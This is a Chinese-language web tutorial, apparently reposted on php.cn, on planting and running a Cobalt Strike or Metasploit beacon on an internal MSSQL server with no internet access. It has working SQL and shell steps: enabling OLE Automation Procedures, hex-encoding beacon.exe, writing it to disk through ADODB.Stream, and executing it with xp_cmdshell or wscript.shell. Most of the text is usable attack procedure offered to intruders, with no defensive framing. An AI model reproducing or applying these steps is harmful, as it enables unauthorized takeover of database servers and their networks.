0x01 引言
在一个MSSQL非注入的场景中,我们发现了一个内网中的MSSQL弱密码服务器,该服务器支持xp_cmdshell且拥有Administrator权限,但无法连接外网,DNS解析也无法进行。那么,我们如何将文件传输到目标主机并执行以实现上线呢?
0x02 攻击思路
我们可以利用当前能够连接外网的主机,开启一个Socks代理连接到无法出网的MSSQL主机。然后,通过以下方法将PE文件传输到该MSSQL主机,并通过出网主机中转来实现目标主机的上线。
0x03 启用OLE组件
在执行命令或写入文件时,需要使用sp_oacreate来创建OLE对象。因此,我们首先需要执行以下SQL语句来启用“OLE Automation Procedures”组件。
exec master.dbo.sp_configure 'show advanced options', 1 RECONFIGURE exec master.dbo.sp_configure 'Ole Automation Procedures', 1 RECONFIGURE

0x04 将EXE转换为HEX
我们需要将生成的CS/MSF攻击载荷文件转换为HEX编码。以下是一些可以使用的转换方法:Linux的xxd命令,Python脚本,或010editor编辑器,根据个人偏好选择。
(1) Linux中将EXE转换为HEX
xxd -ps beacon.exe hex.txt

(2) Python中将EXE转换为HEX
import binascii
filename = 'beacon.exe'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
(3) 010editor中将EXE转换为HEX
使用010editor拷贝的HEX编码可以用certutil.exe -decodehex正常解码,但如果使用OLE组件写入时,需要将空格和换行删除,确保HEX编码在一行内。

0x05 将EXE文件落地到目标主机
将转换好的HEX编码放在第一行,加上0x前缀,然后在本地Navicat Premium数据库管理工具中执行以下SQL语句,即可将cs.exe文件成功传输到目标主机的磁盘上。
注意:xp_cmdshell组件调用的是cmd.exe,因此在写入大文件时可能会遇到字符长度限制等问题。
DECLARE @DATA VARBINARY(MAX) = 0x-hex DECLARE @filepath VARCHAR(MAX) = 'C:\Windows\temp\cs.exe' DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken SELECT @filepath


0x06 执行EXE文件以实现上线
随后,使用xp_cmdshell或sp_oacreate等方式执行刚落地的cs.exe文件,即可实现目标主机的上线。这里我只是根据这种场景进行了一个简单的模拟测试,关于无法出网主机的上线方法,可以参考我之前分享的内容。
利用MSF上线断网主机的思路分享、利用goproxy http上线不出网主机、利用Pystinger Socks4上线不出网主机。
xp_cmdshell:
exec master..xp_cmdshell "cmd /c C:\Windows\temp\cs.exe"
sp_oacreate:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c C:\Windows\temp\cs.exe'


以上就是MSSQL不出网文件落地上线方式的详细内容,更多请关注php中文网其它相关文章!
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号